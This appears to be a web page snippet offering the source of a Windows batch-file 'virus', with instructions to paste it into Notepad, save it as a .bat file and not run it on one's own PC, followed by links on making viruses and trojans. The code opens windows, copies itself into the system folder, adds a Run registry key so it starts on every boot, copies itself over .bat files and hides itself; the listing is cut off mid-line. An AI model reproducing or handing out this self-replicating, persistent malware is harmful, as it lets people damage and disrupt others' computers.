Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don’t run this on ur pc
@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h [...]
Further Read:
- Prank Virus in Windows
 - Create Virus to Block Websites
 - Remove Viruses manually without any antivirus Software
 - Evolution of Computer Viruses
 - Free Tools for Spyware Removal
 - Anti-virus Defence in depth Guide
 - Books on Virus Source Codes
 - Make Virus in 5 minutes
 - Make ur own Trojan in a .bat file
 - Users Guide to avoiding Virus infections
 - Prevent Pen-Drive Virus